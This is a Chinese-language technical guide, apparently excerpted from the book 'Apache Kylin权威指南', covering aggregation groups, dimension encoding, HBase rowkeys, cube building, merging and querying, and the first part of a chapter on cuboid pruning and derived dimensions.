        默认Apache Kylin会把所有维度放在同一个聚合组(Aggregation Group,也称维度组)中,如果维度数较多(如>15),建议用户根据查询的习惯和模式,点击“New Aggregation Group+”命令,将维度分布到多个聚合组中。通过使用多个聚合组,可以大大降低Cube中的Cuboid数量。
        image.png
        举例说明,一个Cube有(M+N)个维度,如果把这些维度都放置在一个组里,那么默认会有2(M+N)个Cuboid;如果把这些维度分为两个不相交的聚合组,第一个组有M个维度,第二个组有N个维度,那么Cuboid的总数量将被减至2M + 2N,比之前的2(M+N)极大地减少了。
        在单个聚合组中,可以对维度设置一些高级属性,如Mandatory Dimensions、Hierarchy Dimensions、Joint Dimensions等。这几种属性都是为优化Cube的计算而设计的,了解这些属性的含义对于更好地使用Cube至关重要。
        强制维度(Mandatory Dimensions):指的是那些总是会出现在Where条件或 Group By语句里的维度。通过指定某个维度为强制维度,Apache Kylin可以不预计算那些不包含此维度的Cuboid,从而减少计算量。
        层级维度(Hierarchy Dimensions):是指一组有层级关系的维度,如“国家”“省”“市”,这里“国家”是高级别的维度,“省”“市”依次是低级别的维度。用户会按高级别维度进行查询,也会按低级别维度进行查询,但当查询低级别维度时,往往会带上高级别维度的条件,而不会孤立地审视低维度的数据。例如,用户会点击“国家”作为维度来查询汇总数据,也可能点击“国家”+“省”,或者“国家”+“省”+“市”来进行查询,但是不会跨越“国家”直接点击“省”或“市”来进行查询。通过指定层级维度,Apache Kylin可以略过不满足此模式的Cuboid。
        联合维度(Joint Dimensions):是将多个维度视作一个维度,在进行组合计算的时候,它们要么一起出现,要么均不出现,通常适用于以下几种情形:

        • 总是一起查询的维度;
        • 彼此之间有一定映射关系,如 USER_ID 和 EMAIL;
        • 基数很低的维度,如性别、布尔类型的属性。

        如图2-15所示,先通过在“Includes”中选择要添加的维度到本聚合组中,然后根据模型特征和查询模式,设置高级维度属性。“Hierarchy Dimensions”和“Joint Dimensions”可以设置多组,但要注意,一个维度出现在某个属性中后,将不能再设置另一种属性。但是一个维度,可以出现在多个聚合组中。
        image.png
        在Apache Kylin中是以Key-Value的形式将Cube的构建结果存储到Apache HBase中的。我们知道,HBase 是一种单索引、支持超宽表的数据存储引擎。HBase的Rowkey,即行键是用来检索其他列的唯一索引。Apache Kylin需要按照多个维度来对度量进行检索,因此在存储到HBase的时候,需要将多个维度值进行拼接组成Rowkey。图2-16中介绍了Apache Kylin将Cube存储在 HBase中的原理。
        image.png
        由于同一维度中的数值长短不一,如国家名,短的如“中国”,长的如“巴布亚新几内亚”,因此将多个不同列的值进行拼接的时候,要么添加分隔符,要么通过某种编码使各个列所占的宽度固定。Apache Kylin为了能够在HBase上高效地进行存储和检索,会使用第二种方式对维度值进行编码。维度编码的优势如下:

        • 压缩信息存储空间;
        • 提高扫描效率,减少解析开销。

        编码(Encoding)代表了该维度的值使用何种方式进行编码,默认采用字典(Dictionary)编码技术。而合适的编码能够减少维度对空间的占用。例如,我们可以把所有的日期用三个字节进行编码,相比于使用字符串,或者使用长整数形式进行存储,我们的编码方式能够大大减少每行Cube数据的体积。而Cube中可能存在数以亿计的行,累加起来使用编码节约的空间将是非常庞大的。
        目前Apache Kylin支持的编码方式有以下几种。

        • Dictionary编码:字典编码是将所有此维度下的值构建成一张映射表,从而大大节约存储空间。另外,字典是保持顺序的,这样可以使得在HBase中进行比较查询的时候,依然使用编码后的值,而无须解码。Dictionary的优势是,产生的编码非常紧凑,尤其在维度的值基数小且长度大的情况下,Dictionary编码特别节约空间。由于产生的字典在使用时加载进构建引擎和查询引擎,所以在维度的基数大、长度也大的情况下,容易造成构建引擎或者查询引擎的内存溢出。在Apache Kylin中,字典编码允许的基数上限默认是500万(由其参数“kylin.dictionary.max.cardinality”配置)。
        • Date编码:将日期类型的数据使用三个字节进行编码,支持从0000-01-01到9999-01-01中的每一个日期。
        • Time编码:仅支持表示从1970-01-01 00:00:00到 2038-01-19 03:14:07的时间,且Timestamp类型的维度经过编码和反编码之后,会失去毫秒信息,所以说Time编码仅仅支持到秒。但是Time编码的优势是每个维度仅使用四个字节,相比普通的长整数编码节约了一半空间。如果能够接受秒级的时间精度,可以选择Time来编码代表时间的维度。
        • Integer编码:Integer编码适合于对int或bigint类型的值进行编码,它无须额外存储,同时可以支持很大的基数。使用时需要提供一个额外的参数“Length”来代表需要多少个字节。“Length”的长度为1~8。如果用来编码int32类型的整数,可以将“Length”设为“4”;如果用来编int64类型的整数,可以将“Length”设为“8”。在多数情况下,如果我们知道一个整数类型维度的可能值都很小,那么就能使用“Length”为“2”甚至是“1”的int编码来存储,这能够有效避免存储空间的浪费。
        • Fixed_length编码:该编码需要提供一个额外的参数“Length”来代表需要多少个字节。对于基数大、长度也大的维度来说,使用Dict可能不能正常执行,于是可以采用一段固定长度的字节来存储代表维度值的字节数组,该数组为字符串形式的维度值的UTF-8字节。如果维度值的长度大于预设的Length,那么超出的部分将会被截断。此编码方式其实只是将原始值截断或补齐成相同长度的一组字节,没有额外的转换,所以空间效率较差,通常只是一种权宜手段。

        在未来,Apache Kylin还有可能为特定场景、特定类型的维度量身定制特别的编码方式,如在很多行业,身份证号码可能是一个重要的维度。但是身份证号码由于其特殊性而不能使用整数类型的编码(身份证号码的最后一位可能是X),其高基数的特点也决定了其不能使用Dict编码,在目前的版本中只能使用Fixed_length编码,但显然Fixed_length不能充分利用身份证号码中大部分字节是数字的特性来进行深度编码,因此存在一定程度的存储空间的浪费。
        同时,各个维度在Rowkey中的顺序,也会对查询的性能产生较明显的影响。在这里用户可以根据查询的模式和习惯,通过拖曳的方式调整各个维度在Rowkey上的顺序(如图2-17所示)。一般原则是,将过滤频率高的列放置在过滤频率低的列之前,将基数高的列放置在基数低的列之前。这样做的好处是,充分利用过滤条件来缩小在HBase中扫描的范围,从而提高查询的效率。
        image.png
        在构建Cube时,可以通过维度组合白名单(Mandatory Cuboids)确保想要构建的Cuboid能被成功构建(如图2-18所示)。
        image.png
        Apache Kylin支持对于复杂的COUNT DISTINCT度量进行字典构建,以保证查询性能。目前提供两种字典格式,即Global Dictionary和Segment Dictionary(如图2-19所示)。
        image.png
        其中,Global Dictionary可以将一个非integer的值转成integer值,以便bitmap进行去重,如果你要计算COUNT DISTINCT的列本身已经是integer类型,那就不需要定义Global Dictionary。并且Global Dictionary会被所有segment共享,因此支持跨segments做上卷去重操作。
        而Segment Dictionary虽然也是用于精确计算 COUNT DISTINCT的字典,但与Global Dictionary不同的是,它是基于一个segment的值构建的,因此不支持跨segments的汇总计算。如果你的cube不是分区的或者能保证你的所有SQL按照partition column进行group by, 那么最好使用Segment Dictionary而不是Global Dictionary,这样可以避免单个字典过大的问题。
        Apache Kylin目前提供的Cube构建引擎有两种:MapReduce和Spark(如图2-20所示)。如果你的 Cube只有简单度量(如SUM、 MIN、MAX),建议使用Spark。如果Cube中有复杂类型度量(如COUNT DISTINCT、 TOP_N),建议使用MapReduce。
        image.png
        为了提升构建性能,你可以在Advanced Snapshot Table中将维表设置为全局维表,同时提供不同的存储类型(如图2-21所示)。
        在构建时 Apache Kylin允许在Advanced Column Family中对度量进行分组(如图2-22所示)。如果有超过一个的 COUNT DISTINCT 或 Top_N 度量, 你可以将它们放在更多列簇中,以优化与HBase 的I/O。
        image.png
        image.png
        第五步,为Cube配置参数。和其他Hadoop工具一样,Apache Kylin使用了很多配置参数,用户可以根据具体的环境、场景等配置不同的参数进行灵活调优。Apache Kylin全局的参数值可以在conf/kylin.properties文件中进行配置;如果Cube需要覆盖全局设置的话,需在此页面指定。点击“+Property”按钮,然后输入参数名和参数值,如图2-23所示,指定“kylin.hbase.region.cut”的值为“1”,这样,此Cube在存储的时候,Apache Kylin将会按每个HTable Region存储空间为1GB来创建HTable Region。如果用户希望任务从YARN中获取更多内存,可以设置kylin.engine.mr.config-override.mapreduce.map.memory.mb、kylin.engine.mr.config-override.mapreduce.map.java.opts 等mapreduce相关参数。如果用户希望Cube的构建任务使用不同的YARN 资源队列,可以设置kylin.engine.mr.config-override.mapreduce.job.queuename。这些配置均可以在Cube级别重写。
        image.png
        然后点击“Next”按钮到最后一个确认页面,如有修改,点“Prev”按钮返回进行修改,最后点“Save”按钮进行保存,一个Cube就创建完成了。创建好的Cube会显示在“Cubes”列表中,如要对Cube的定义进行修改,只需点“Edit”按钮就可以修改。也可以展开此Cube行以查看更多信息,如JSON格式的元数据、访问权限、通知列表等。

        2.5 构建Cube

        本节简单地介绍了构建Cube的相关操作说明和设置,受篇幅的限制许多具体内容没有深入展开,读者可以从第3章“Cube优化”和第4章“增量构建”中获得更详细的介绍。
        新创建的Cube只有定义,而没有计算的数据,它的状态是“DISABLED”,是不会被查询引擎挑中的。要想让Cube有数据,还需对它进行构建。Cube的构建方式通常有两种:全量构建和增量构建,两者的构建步骤是完全一样的,区别只在于构建时读取的数据源是全集还是子集。
        Cube的构建包含以下步骤,由任务引擎调度执行:
        1)创建临时的Hive平表(从Hive中读取数据);
        2)计算各维度的不同值,并收集各Cuboid的统计数据;
        3)创建并保存字典;
        4)保存Cuboid统计信息;
        5)创建HTable;
        6)计算Cube (一轮或若干轮计算);
        7)将Cube计算结果转成HFile;
        8)加载HFile到HBase;
        9)更新Cube元数据;
        10)垃圾回收。
        上述步骤中,前五步是为计算Cube而做的准备工作,如遍历维度值来创建字典,对数据做统计和估算以创建HTable等。第六步是真正的Cube计算,取决于使用的Cube算法,它可能是一轮MapReduce任务,也可能是N(在没有优化的情况下,N可以被视作维度数)轮迭代的MapReduce。
        由于Cube运算的中间结果是以SequenceFile的格式存储在HDFS上的,所以为了导入HBase,还需要进行第七步操作,将这些结果转换成HFile(HBase文件存储格式)。第八步通过使用HBase BulkLoad工具,将HFile导入HBase集群,这一步完成后,HTable就可以查询到数据。第九步更新Cube的数据,将此次构建的Segment的状态从“NEW”更新为“READY”,表示已经可供查询。最后一步,清理构建过程中生成的临时文件等垃圾,释放集群资源。
        Monitor页面会显示当前项目下近期的构建任务。图2-24中显示了一个正在运行的Cube构建任务,当前进度46.67%。
        image.png
        点击任务右边的“>”按钮,可以将其展开得到该任务每一步的详细信息,如图2-25所示。
        image.png
        如果Cube构建任务中的某一步骤是执行Hadoop任务的话,会显示Hadoop任务的链接,点击即可跳转到Hadoop对应的任务监测页面,如图2-26所示。
        image.png
        如果任务执行中的某一步骤报错,任务引擎会将任务状态置为“ERROR”并停止后续操作的执行,等待用户排错。在错误排除后,用户可以点击“Resume”从上次报错的位置恢复执行。或者如果需要修改Cube或重新开始构建,用户需点击“Discard”来放弃此次构建。
        接下来介绍几种不同的构建方式。

        2.5.1 全量构建和增量构建

        1. 全量构建
        对数据模型中没有指定分割时间列信息的Cube,Apache Kylin会采用全量构建,即每次都从Hive中读取全部的数据来开始构建。通常它适用于以下两种情形:

        • 事实表的数据不是按时间增长的;
        • 事实表的数据比较小或更新频率很低,全量构建不会造成太大的存储空间浪费。
          2. 增量构建

        进行增量构建的时候,Apache Kylin每次都会从Hive中读取一个时间范围内的数据,然后对其进行计算,并以一个Segment的形式保存。下次构建的时候,自动以上次结束的时间为起点时间,再选择新的终止时间进行构建。经过多次构建后,Cube中会有多个Segment依次按时间顺序进行排列,如 Seg-1, Seg-2,…,Seg-N。进行查询的时候,Apache Kylin会查询一个或多个Segment然后再做聚合计算,以便返回正确的结果给请求者。
        使用增量构建的优势是,每次只需要对新增数据进行计算,避免了对历史数据进行重复计算。对于数据量很大的Cube,使用增量构建是非常有必要的。
        图2-27所示为构建一个Segment的Cube的输入框,需要用户选择时间范围。
        在从Hive中读取源数据的时候,Apache Kylin会带上此时间条件,如图2-28所示。
        image.png
        image.png
        增量构建抽取数据的范围,采用前包后闭原则,也即包含开始时间,但不包含结束时间,从而保证上一个Segment的结束时间与下一个Segment的起始时间相同,但数据不会重复。
        如果使用Apache Kylin的Web GUI触发,起始时间会被自动填写,用户只需选择结束时间。如果使用Rest API触发,用户则需确保时间范围不会与已有的Segment重合。

        2.5.2 历史数据刷新

        Cube构建完成以后,如果某些历史数据发生了变动,需要针对相应的Segment重新进行计算,这种构建称为刷新。刷新通常只针对增量构建的Cube而言,因为全量构建的Cube只要重新全部构建就可以得到更新;而增量更新的Cube因为有多个Segment,需要先选择要刷新的Segment,然后再进行刷新。
        图2-29所示为提交刷新的请求页面,用户需要在下拉列表中选择一个时间区间。
        image.png
        提交刷新请求以后,生成的构建任务与最初的构建任务完全相同。
        在刷新的同时,Cube仍然可以被查询,只是返回的是陈旧数据。当Segment刷新完毕后,新Segment会立即生效,查询开始返回最新的数据。原Segment则成为垃圾,等待回收。

        2.5.3 合并

        随着时间的迁移,Cube中可能存在较多数量的Segment,使得查询性能下降,并且会给HBase集群管理带来压力。对此,需要适时地做Segment的合并,将若干个小Segment合并成较大的Segment。
        合并有如下优势:

        • 合并相同的Key,从而减少Cube的存储空间;
        • 由于Segment减少,可以减少查询时的二次聚合,提高了查询性能;
        • HTable数量得以减少,便于集群的管理。

        下面来看看合并的操作步骤,图2-30中的Cube有两个Segment。
        image.png
        现在触发一个合并,点击“Actions” →“Merge”;选择要合并的起始Segment和结束Segment,生成一个合并的任务,如图2-31所示。
        image.png
        进行合并的时候,Apache Kylin会直接以最初各个Segment构建时生成的Cuboid文件作为输入内容,不需要从Hive中加载原始数据。后续的步骤跟构建时基本一致。直到新的HTable加载完成,Apache Kylin才会卸载原来的HTable,以确保在整个合并过程中,Cube都是可以查询的。
        合并完成后,此Cube的Segment减少为1个,如图2-32所示。
        image.png

        2.6 查询Cube

        本节简要介绍如何查询Cube。更多内容请参考后续章节(如第5章“查询与可视化”)。
        Cube构建好以后,状态变为“READY”,就可以进行查询了。Apache Kylin的查询语言是标准SQL的SELECT语句,这是为了获得与大多数BI系统和工具无缝集成的可能性。一般的查询语句类似以下SQL语句:

        SELECT DIM1, DIM2, …, MEASURE1, MEASURE2… FROM FACT_TABLE 
             INNER JOIN LOOKUP_1 ON FACT_TABLE.FK1 = LOOKUP_1.PK 
             INNER JOIN LOOKUP_2 ON FACT_TABLE.FK2 = LOOKUP_2.PK
        WHERE FACT_TABLE.DIMN = ‘’ AND …
              GROUP BY DIM1, DIM2…
        

        需要了解的是,只有当查询的模式跟Cube定义相匹配的时候,Apache Kylin才能够使用Cube的数据来完成查询。“Group By”的列和“Where”条件里的列,必须是在维度中定义的列,而SQL中的度量,应该跟Cube中定义的度量一致。
        在一个项目下,如果有多个基于同一模型的Cube,而且它们都满足查询对表、维度和度量的要求,Apache Kylin会挑选一个“最优的”Cube来进行查询。这是一种基于成本(cost)的选择,Cube的成本计算涉及多方面因素,如Cube的维度数、度量、数据模型的复杂度等。
        如果查询是在Apache Kylin的Web GUI上进行的,查询结果会以表的形式展现,如图2-33所示。所执行的Cube名称也会一同显示。用户可以点击“Visualization”按钮生成简单的可视化图形,或点击“Export”按钮下载结果集到本地。
        image.png

        2.6.1 Apache Kylin查询介绍

        Apache Kylin使用Apache Calcite做SQL语法分析,并且Apache Kylin深度定制了Calcite。Apache Calcite是一个开源的SQL引擎,它提供了标准SQL语言解析、多种查询优化和连接各种数据源的能力。Calcite项目在Hadoop中越来越引人注目,并被众多项目集成为SQL解析器。
        在Apache Kylin一条查询的执行过程主要分成四个部分:词法分析、逻辑执行计划、物理执行计划和执行。以如下SQL语句为例:

        SELECT TEST_CAL_DT.WEEK_BEG_DT, SUM(TEST_KYLIN_FACT.PRICE) FROM TEST_KYLIN_FACT AS FACT
               INNER JOIN EDW.TEST_CAL_DT as DT ON FACT.CAL_DT = DT.CAL_DT 
        WHERE FACT.CAL_DT > ‘2017-01-01’
            GROUP TEST_CAL_DT.WEEK_BEG_DT
        

        在词法分析阶段,Calcite将该查询拆分成包含关键词识别的字符段,如图2-34所示。
        image.png
        之后,Calcite根据词法分析的结果,生成一个逻辑执行计划,如图2-35所示。
        之后,Calcite会基于规则对逻辑执行计划进行优化,在优化的过程中根据这些规则将算子转化为对应的物理执行算子。而Apache Kylin则在其中增加了一些优化策略。首先,在每一个优化规则中将对应的物理算子转换成Apache Kylin自己的OLAPxxxRel算子。然后根据每一个算子中保持的信息构造本次查询的上下文OLAPContext。之后再根据本次查询中使用的维度列、度量信息等查询是否有满足本次查询的Cuboid,如果有则将其保存在OLAPContext的realization中,如图2-36所示。
        image.png
        之后Calcite会根据这个执行计划动态生成执行代码。并且根据之前记录在OLAPContext中的realization信息,到HBase中读取相对应的已经构建好的cuboid数据,用以回答查询,如图2-37所示。
        image.png

        2.6.2 查询下压

        在Apache Kylin中的查询,只有预先针对查询内的维度和度量进行建模并构建Cube才能够回答查询。因此在Apache Kylin中针对于无法击中Cube的查询,便有了另外一种处理方式即查询下压。查询下压的本质是将无法用Cube回答的查询路由到Hive或Spark这类查询引擎,用以回答该查询。查询下压的实现方式如图2-38所示。
        image.png
        一条查询经过解析后,进入查询路由,首先会进入Cube查询执行器中去寻找是否有能够回答该查询的Cube。如果没有找到合适的Cube,则会抛出异常“No realization found.”,并将这个结果抛回查询路由,查询路由检测到该异常后,则会将该查询路由到一个外部查询引擎(如Hive),以回答这条查询。

        2.7 SQL参考

        Apache Kylin支持标准SQL查询语言,但是SQL有很多变体,Apache Kylin支持的只是SQL所有变体中的一个子集,并不是支持所有现存的SQL语句和语法。用户在使用Apache Kylin之前,需要对Apache Kylin的SQL支持有一个了解,避免走弯路。
        首先,Apache Kylin作为OLAP引擎,只支持查询,而不支持其他操作,如插入、更新等,即所有SQL都必须是SELECT语句,否则Apache Kylin会报错。
        第二,在Apache Kylin中进行查询时,使用SQL语句中的表名、列名、度量、连接关系等条件,来匹配数据模型和Cube;在设计Cube的时候,就要充分考虑查询的需求,避免遗漏表、列等信息。
        第三,进行查询时一条SQL需要首先被Apache Calcite解析,然后才可以被Apache Kylin执行。下面是Calcite中的SELECT语句的语法:

        SELECT [ STREAM ] [ ALL | DISTINCT ]
                  { * | projectItem [, projectItem ]* }
              FROM tableExpression
              [ WHERE booleanExpression ]
              [ GROUP BY { groupItem [, groupItem ]* } ]
              [ HAVING booleanExpression ]
              [ WINDOW windowName AS windowSpec [, windowName AS windowSpec ]* ]
        
        projectItem:
              expression [ [ AS ] columnAlias ]
          |   tableAlias . *
        
        tableExpression:
              tableReference [, tableReference ]*
          |   tableExpression [ NATURAL ] [ LEFT | RIGHT | FULL ] JOIN tableExpression
        [ joinCondition ]
        
        joinCondition:
              ON booleanExpression
          |   USING '(' column [, column ]* ')'

        2.8 小结

        本章介绍了使用Apache Kylin前必须了解的基本概念,如星形数据模型、事实表、维表、维度、度量等,并在了解这些基本概念的基础上快速创建了基于Sample Data的模型,构建Cube,最后执行SQL查询。带领读者体验了Apache Kylin的主要使用过程。后续章节将继续展开和探讨这个过程中的一些关键技术,比如增量构建、可视化和Cube优化等。

        ]]>
        带你读《Apache Kylin权威指南》之三:Cube优化 Fri, 02 May 2025 09:39:04 +0800 点击查看第一章
        点击查看第二章

        第3章

        Cube优化

        Apache Kylin的核心思想是根据用户的数据模型和查询样式对数据进行预计算,并在查询时直接利用预计算结果返回查询结果。
        相比普通的大规模并行处理解决方案,Kylin具有响应时间快、查询时资源需求小、吞吐量大等优点。用户的数据模型包括维度、度量、分区列等基本信息,也包括用户通过Cube优化工具赋予其的额外的模型信息。
        例如,层级(Hierarchy)是用来描述若干个维度之间存在层级关系的一种优化工具,提供层级信息有助于预计算跳过多余的步骤,减少预计算的工作量,最终减少存储引擎所需要存储的Cube数据的大小。
        数据模型是数据固有的属性,除此之外,查询的样式如果相对固定,有助于Cube优化。例如,如果知道客户端的查询总是会带有某个维度上的过滤(Filter)条件,或者总是会按照这个维度进行聚合(Group By),那么所有的不带这个维度的场景下的预计算都可以跳过,因为即使为这些场景进行了预计算,这些预计算结果也不会被用到。
        总的来说,在构建Cube之前,Cube的优化手段提供了更多与数据模型或查询样式相关的信息,用于指导构建出体积更小、查询速度更快的Cube。可以看到Cube的优化目标始终有两个大方向:空间优化和查询时间优化。

        3.1 Cuboid剪枝优化

        3.1.1 维度的组合

        由之前的章节可以知道,在没有采取任何优化措施的情况下,Kylin会对每一种维度的组合进行聚合预计算,维度的一种排列组合的预计算结果称为一个Cuboid。如果有4个维度,结合简单的数学知识可知,总共会有24=16种维度组合,即最终会有24=16个Cuboid需要计算,如图3-1所示。其中,最底端的包含所有维度的Cuboid称为Base Cuboid,它是生成其他Cuboid的基础。
        image.png
        在现实应用中,用户的维度数量一般远远大于4个。假设用户有10个维度,那么没做任何优化的Cube总共会存在210=1024个Cuboid,而如果用户有20个维度,那么Cube中总共会存在220=1048576个Cuboid!虽然每个Cuboid的大小存在很大差异,但是仅Cuboid的数量就足以让人意识到这样的Cube对构建引擎、存储引擎来说会形成巨大的压力。因此,在构建维度数量较多的Cube时,尤其要注意进行Cube的剪枝优化。

        3.1.2 检查Cuboid数量

        Apache Kylin提供了一种简单的工具供用户检查Cube中哪些Cuboid最终被预计算了,将其称为被物化(materialized)的Cuboid。同时,这种工具还能给出每个Cuboid所占空间的估计值。该工具需要在Cube构建任务对数据进行一定的处理之后才能估算Cuboid的大小,具体来说,就是在构建任务完成“Save Cuboid Statistics”这一步骤后才可以使用该工具。
        由于同一个Cube的不同Segment之间仅是输入数据不同,模型信息和优化策略都是共享的,所以不同的Segment中被物化的Cuboid是相同的。因此,只要Cube中至少有一个Segment完成了“Save Cuboid Statistics”这一步骤的构建,那么就能使用如下的命令行工具去检查这个Cube中的Cuboid的物化状态:
        bin/kylin.sh org.apache.kylin.engine.mr.common.CubeStatsReader CUBE_NAME

        CUBE_NAME 想要查看的Cube的名称
        该命令的输出如图3-2所示。
        image.png
        在该命令的输出中,会依次打印出每个Segment的分析结果,不同Segment的分析结果基本趋同。在上面的例子中Cube只有一个Segment,因此只有一份分析结果。对于该结果,自上而下来看,首先能看到Segment的一些整体信息,如估计Cuboid大小的精度(hll precision)、Cuboid的总数、Segment的总行数估计、Segment的大小估计等。
        Segment的大小估算是构建引擎自身用来指导后续子步骤的,如决定mapper和 reducer数量、数据分片数量等的依据,虽然有的时候对Cuboid的大小的估计存在误差(因为存储引擎对最后的Cube数据进行了编码或压缩,所以无法精确预估数据大小),但是整体来说,对于不同Cuboid的大小估计可以给出一个比较直观的判断。由于没有编码或压缩时的不确定性因素,因此Segment中的行数估计会比大小估计来得更加精确一些。
        在分析结果的下半部分可以看到,所有的Cuboid及其分析结果以树状的形式打印了出来。在这棵树中,每个节点代表一个Cuboid,每个Cuboid的ID都由一连串1或0的数字组成,数字串的长度等于有效维度的数量,从左到右的每个数字依次代表Cube的Rowkeys设置中的各个维度。如果数字为0,则代表这个Cuboid中不存在相应的维度,如果数字为1,则代表这个Cuboid中存在相应的维度。
        除了最顶端的Cuboid之外,每个Cuboid都有一个父Cuboid,且都比父Cuboid少了一个“1”。其意义是这个Cuboid是由它的父节点减少一个维度聚合得来的(上卷,即roll up操作)。最顶端的Cuboid称为Base Cuboid,它直接由源数据计算而来。Base Cuboid中包含了所有的维度,因此它的数字串中所有的数字均为1。
        每行Cuboid的输出除了0和1的数字串以外,后面还有每个Cuboid的具体信息,包括该Cuboid行数的估计值、该Cuboid大小的估计值,以及该Cuboid的行数与其父节点的对比(Shrink)。所有的Cuboid的行数的估计值之和应该等于Segment的行数估计值。同理,所有的Cuboid的大小估计值之和等于该Segment的大小估计值。
        每个Cuboid都是在它的父节点的基础上进一步聚合产生的,因此理论上来说每个Cuboid无论是行数还是大小都应该小于它的父Cuboid。但是,由于这些数值都是估计值,因此偶尔能够看到有些Cuboid的行数反而还超过其父节点、Shrink值大于100%的情况。在这棵“树”中,可以观察每个节点的Shrink值,如果该值接近100%,说明这个Cuboid虽然比它的父Cuboid少了一个维度,但是并没有比它的父Cuboid少很多行数据。换言之,即使没有这个Cuboid,在查询时使用它的父Cuboid,也不会花费太大的代价。
        关于这方面的详细内容将在后续3.1.4节中详细展开。

        3.1.3 检查Cube大小

        还有一种更为简单的方法可以帮助我们判断Cube是否已经足够优化。在Web GUI的“Model”页面中选择一个READY状态的Cube,当把光标移到该Cube的“Cube Size”列时,Web GUI会提示Cube的源数据大小,以及当前Cube的大小与源数据大小的比例,称之为膨胀率(Expansion Rate),如图3-3所示。
        image.png
        一般来说,Cube的膨胀率应该为0%~1000%,如果一个Cube的膨胀率超过1000%,Cube管理员应当开始挖掘其中的原因。通常,膨胀率高有以下几个方面的原因:

        • Cube中的维度数量较多,且没有进行很好的Cuboid剪枝优化,导致Cuboid数量极多;
        • Cube中存在较高基数的维度,导致包含这类维度的每一个Cuboid占用的空间都很大,这些Cuboid累积造成整体Cube体积过大;
        • 存在比较占用空间的度量,如Count Distinct这样的度量需要在Cuboid的每一行中都保存一个较大的寄存器,最坏的情况会导致Cuboid中每一行都有数十千字节,从而造成整个Cube的体积过大;
          ……

        因此,遇到Cube的膨胀率居高不下的情况,管理员需要结合实际数据进行分析,可灵活地运用本章接下来介绍的优化方法对Cube进行优化。

        3.1.4 空间与时间的平衡

        理论上所有能用Cuboid处理的查询请求,都可以使用Base Cuboid来处理,就好像所有能用Base Cuboid处理的查询请求都能够通过直接读取源数据的方式来处理一样。但是Kylin之所以在Cube中物化这么多的Cuboid,就是因为不同的Cuboid有各自擅长的查询场景。
        面对一个特定的查询,使用精确匹配的Cuboid就好像是走了一条捷径,能帮助Kylin最快地返回查询结果,因为这个精确匹配的Cuboid已经为此查询做了最大程度的预先聚合,查询引擎只需要做很少的运行时聚合就能返回结果。每个Cuboid在技术上代表着一种维度的排列组合,在业务上代表着一种查询的样式;为每种查询样式都做好精确匹配是理想状态,但那会导致很高的膨胀率,进而导致很长的构建时间。所以在实际的Cube设计中,我们会考虑牺牲一部分查询样式的精确匹配,让它们使用不是完全精确匹配的Cuboid,在查询进行时再进行后聚合。这个不精确匹配的Cuboid可能是3.1.2节中提到的Cuboid的父Cuboid,甚至如果它的父Cuboid也没有被物化,Kylin可能会一路追溯到使用Base Cuboid来回答查询请求。
        使用不精确匹配的Cuboid比起使用精确匹配的Cuboid需要做更多查询时的后聚合计算,但是如果Cube优化得当,查询时的后聚合计算的开销也没有想象中的那么恐怖。以3.1.2节中Shrink值接近100%的Cuboid为例,假设排除了这样的Cuboid,那么只要它的父Cuboid被物化,从它的父Cuboid进行后聚合的开销也不大,因为父Cuboid没有比它多太多行的记录。
        从这个角度来说,Kylin的核心优势在于使用额外的空间存储预计算的结果,来换取查询时间的缩减。而Cube的剪枝优化,则是一种试图减少额外空间的方法,使用这种方法的前提是不会明显影响查询时间的缩减。在做剪枝优化的时候,需要选择跳过那些“多余”的Cuboid:有的Cuboid因为查询样式永远不会被查询到,所以显得多余;有的Cuboid的能力和其他Cuboid接近,因此显得多余。但是Cube管理员不是上帝,无法提前甄别每一个Cuboid是否多余,因此Kylin提供了一系列简单工具来帮助完成Cube的剪枝优化。

        3.2 剪枝优化工具

        3.2.1 使用衍生维度

        首先观察下面这个维度表,如图3-4所示。

        image.png

        这是一个常见的时间维度表,里面充斥着各种用途的时间维度,如每个日期对应的星期,每个日期对应的月份等。这些维度可以被分析师用来灵活地进行各个时间粒度上的聚合分析,而不需要进行额外的上卷操作。但是如果为了这个目的一下子引入这么多维度,会导致Cube中Cuboid的总数量呈现爆炸式的增长,往往得不偿失。
        在实际使用中,可以在维度中只放入这个维度表的主键(在底层实现中,我们更偏向使用事实表上的外键,因为在Inner Join的情况下,事实表外键和维度表主键是一致的,而在Left Join的情况下事实表外键是维度表主键的超集),也就是只物化按日期(CAL_DT)聚合的Cuboid。当用户需要在更高的粒度如按周、按月来进行聚合时,在查询时会获取按日期聚合的Cuboid数据,并在查询引擎中实时地进行上卷操作,那么就达到了牺牲一部分运行时性能来节省Cube空间占用的目的。
        Kylin将这样的理念包装成一个简单的优化工具—衍生维度。将一个维度表上的维度设置为衍生维度,则这个维度不会参与预计算,而是使用维度表的主键(其实是事实表上相应的外键)来替代它。Kylin会在底层记录维度表主键与维度表其他维度之间的映射关系,以便在查询时能够动态地将维度表的主键“翻译”成这些非主键维度,并进行实时聚合。虽然听起来有些复杂,但是使用起来其实非常简单,在创建Cube的Cube designer第二步添加维度的时候,选择“Derived”而非“Normal”,如图3-5所示。
        image.png
        衍生维度在Cube中不参加预计算,事实上如果前往Cube Designer的Advanced Setting,在Aggregation Groups和Rowkeys部分也完全看不到这些衍生维度,甚至在这些地方也找不到维度表KYLIN_CAL_DT的主键,因为如前所述,Kylin实际上是用事实表上的外键作为这些衍生维度背后真正的有效维度的,在前面的例子中,事实表与KYLIN_CAL_DT通过以下方式连接:
        Join Condition:
        DEFAULT.KYLIN_SALES.PART_DT = DEFAULT.KYLIN_CAL_DT.CAL_DT
        因此,在Advanced Setting的Rowkeys部分就会看到PART_DT而看不到CAL_DT,更看不到那些KYLIN_CAL_DT表上的衍生维度,如图3-6所示。
        image.png
        虽然衍生维度具有非常大的吸引力,但也并不是说所有的维度表上的维度都得变成衍生维度,如果从维度表主键到某个维度表维度所需的聚合工作量非常大,如从CAT_DT到YEAR_BEG_DT基本上需要365 : 1的聚合量,那么将YERR_BEG_DT作为一个普通的维度,而不是衍生维度可能是一种更好的选择。这种情况下,YERR_BEG_DT会参与预计算,也会有一些包含YERR_BEG_DT的Cuboid被生成。

        3.2.2 聚合组

        聚合组(Aggregation Group)是一个强大的剪枝工具,可以在Cube Designer的Advanced Settings里设置不同的聚合组。聚合组将一个Cube的所有维度根据业务需求划分成若干组(当然也可以只有一个组),同一个组内的维度更可能同时被同一个查询用到,因此表现出更加紧密的内在关联。不同组之间的维度在绝大多数业务场景里不会用在同一个查询里,因此只有在很少的Cuboid里它们才有联系。所以如果一个查询需要同时使用两个聚合组里的维度,一般从一个较大的Cuboid在线聚合得到结果,这通常也意味着整个查询会耗时较长。
